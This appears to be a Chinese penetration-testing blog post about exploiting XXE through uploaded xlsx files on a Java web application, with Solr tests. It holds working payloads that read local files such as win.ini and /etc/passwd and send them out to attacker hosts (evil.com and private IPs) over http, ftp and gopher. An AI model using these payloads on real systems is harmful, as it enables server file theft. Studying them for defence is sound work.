记一次excel XXE漏洞

0x00 概述

Microsoft Office从2007版本引入了新的开放的XML文件格式,基于压缩的ZIP文件格式规范,改后缀名为zip再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。

许多网站允许上传/导入文件,处理文件内部数据一般都会解析XML,若未安全配置解析器,则可能存在XXE漏洞。
通常大多数解析开始的地方是xl/workbook.xml,它提供了工作簿内容的概述,包含工作表及其名称的列表。各个工作表位于xl/worksheets目录下,通常内容最终位于xl/sharedStrings.xml。
大多数应用程序似乎都将xl / workbook.xml放入其XML解析器中以获取工作表列表,然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同,xls是特有的二进制格式,其核心结构是复合文档类型,而xlsx的核心结构是XML类型,采用基于XML的压缩方式。xls格式文件无法插入payload进行XXE攻击。
测试的时候,根据功能点,docx,xlsx都可以尝试。

0x01 漏洞发现

https://zhpt.xxx.com/yyyService/zzz/yyymastermanager/batchAdd

制作xlsx:
unzip ImportProductTemplate.xlsx
zip -r xxetest00.xslx *

即使返回导入失败,也成功解析了xml

由于是java的站,所以利用ftp协议读取文件





可能由于目标jdk版本过高,无法完整读取有换行的文件,也无法列目录。
excel xxe可触发解析的xlsx内文件:
[Content_Types].xml

xl/workbook.xml

xl/worksheets/sheet1.xml

_rels/.rels

这些也可以尝试:
xl/_rels/workbook.xml.rels
xl/theme/theme1.xml
_rels/.rels
docProps/app.xml
docProps/core.xml
xl/_rels/workbook.xml.rels
xl/styles.xml
xl/workbook.xml

0x02 思考

java环境,读取有换行的文件成功与否与和java版本/操作系统有关。
php可以用base64编码带出,如下:
xxe.dtd:

<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.2:8999/getxxeinfo.php?p=%payload;'>">
%int;
%trick;

而java会出异常

//jdk8u201

低版本Java可用gopher(java1.6)带出

<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'gopher://evil.com/%payload;'>">
%int;
%trick;

高版本java(不知道从1.8哪个版本开始)的ftp协议对换行做了限制

//jdk8u201
//某些版本java会有checkUrl()在issueCommand()之前就检查\n
//sun.net.www.protocol.ftp.FtpURLConnection.checkURL()
Java支持的协议

按常理在读取多行文件时候,高版本java碰到异常就读取不了了,但是/etc/passwd可以返回第一行的部分,其他文件就没返回。
利用solr xxe漏洞测试
java 8u151

192.168.1.2:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>%0A<!DOCTYPE root [%0A<!ENTITY %25 remote SYSTEM "http%3A%2F%2F192.168.1.2:8099%2Fx0.dtd">%0A%25remote%3B]>%0A<root%2F>&wt=xml&defType=xmlparser

尝试读多行文件

ftp无返回,但是/etc/passwd有返回

http无返回

ftp读取passwd出现下面异常,应该就是换行问题,能返回第一行一部分
org.apache.solr.search.SyntaxError: Error parsing XML stream:java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.1.2:8099/x0.dtd">%0a%25remote;]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

http读passwd一行都没返回,应该也是换行问题
org.apache.solr.search.SyntaxError: Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.1.2:8099/x5.dtd">%0a%25remote;]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

读取单行文件:
http成功返回

ftp成功返回

Win7(8u201)下测试passwd的第一行可以返回,win.ini无返回......

继续测试,发现能返回最后一个/b前面的部分

linux也一样


感兴趣的大神可以调试一下,兴许一个CVE就出现了......

顺便说一下,如果文件中含有
‘ “ < > &
直接读会报错
可以利用CDATA 
由<![CDATA[开始,由]]>结束
可以用于xxe有回显的情况
dtd
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxx/%start;%r;%end;'>">
payload
<?xml version="1.0"?>
<!DOCTYPE cdl [
<!ENTITY % r SYSTEM "file:///c:/Windows/win.ini">
<!ENTITY % asd SYSTEM "http://1.2.3.4:5555/cdata.dtd">
%asd;%c;%rrr;]>

0x03 相关案例

https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54

https://wemp.app/posts/c6478311-33dc-4c59-92bc-12105baf5bac
QQ邮箱XXE可读取任意文件
网易邮箱某处XXE可读取文件

0x04 参考资料

https://www.4armed.com/blog/exploiting-xxe-with-excel/
https://www.freebuf.com/column/232334.html
scz.617.cn/misc/201911011122.txt
https://www.t00ls.net/articles-32919.html
https://www.leadroyal.cn/?p=914
www.mi1k7ea.com/2019/02/13/XML注入之DocumentBuilder/

本文来源于: https://xz.aliyun.com/t/7747

相关推荐

一次敏感信息泄露引发的逻辑漏洞挖掘

根据手头上的信息,最大化的利用,一次简单的漏洞挖掘,感觉过程很有意思分享一下~ 0x01初始 收集子域,也是渗透的初始。这里我只是简单用了fofa发现了该公司用来管理合作的一些子域名然后发现是登录管理页面,深入然后发现很多的敏感信息。也是从

YCCMS代码审计(新手教学方向)

前言 在逛CNVD时发现这款CMS存在不少常见的漏洞,并且看样子漏洞没有修复,一时好奇就下载下来看了看。经过简单的分析发现该CMS触发漏洞的方式挺常见的,正好可以从代码方面 分析一下这些漏洞的成因,加深对一些常见漏洞的理解 CMS下载地址:

记一次excel XXE漏洞

0x00 概述 Microsoft Office从2007版本引入了新的开放的XML文件格式,基于压缩的ZIP文件格式规范,改后缀名为zip再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。 许多网站允许上传/导入文

xyhcms v3.6 命令执行

xyhcms v3.6 命令执行 漏洞描述 XYHCMS是一款开源的CMS内容管理系统。 XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。 复现 按步骤安装,查看site.p

红队-C2 Server基础构建

C2 使目标机器可以接收来自服务器的命令,但实战中通常在恶意软件分析的时候是首先被分析出来的,所以这也就是需要对C2 server加固的原因。 下面将C2 server部署时候你需要认识的一些点总结来更好建设、隐蔽、使用你的C2 serve

xyhcms v3.6 命令执行

xyhcms v3.6 命令执行 漏洞描述 XYHCMS是一款开源的CMS内容管理系统。 XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。 复现 按步骤安装,查看site.p

Kimsuky组织某样本分析

0x00 前言 HWP 是韩国 Hancom 公司开发的文字处理软件(扩展名.hwp),可类比于 WPS。本文分析样本利用了CVE-2017-8291,由于版权相关问题,最新版的HWP已经将GhostScript开源组件(gbb.exe)移

用模拟执行实现Objective-C代码自动化分析

火眼高级逆向工程实验室脚本系列:用模拟执行实现Objective-C代码自动化分析 写在前面的话 京东安全开源的 qiling 是一个很不错的想法,但是唯一的问题在于它实现的东西太多,比较笨重。有的时候我仅仅想模拟几个函数的执行,操作比较麻

IE jscript.dll释放后重用漏洞(CVE-2020-0674)分析

银雁冰@猎影实验室 0x01 前言 CVE-2020-0674是360和Google在2020年初抓到的一个IE 0day,它是一个位于jscript.dll模块的UAF(释放后重用)漏洞。最近,该漏洞的一份完整利用代码在github被公布

nodejs一些入门特性&&实战

最近发觉nodejs的一些特性很有意思,对此进行一番小结,有不足之处请师傅们补充。 原型链 源自JavaScript的原型继承模型。 prototype(原型) 几乎js的所有对象都是Object的实例,我们没办法使用class自写一个类。

php和python反序列化漏洞分析

之前一直有接触挺多反序列化的漏洞,但是自己一直没有很细心地学习这方面的东西,所以现在花时间分析一下php、python中的反序列化漏洞,其大体都是差不多的,部分代码来源互联网,有错误烦请各位师傅指正。 序列化 (Serialization)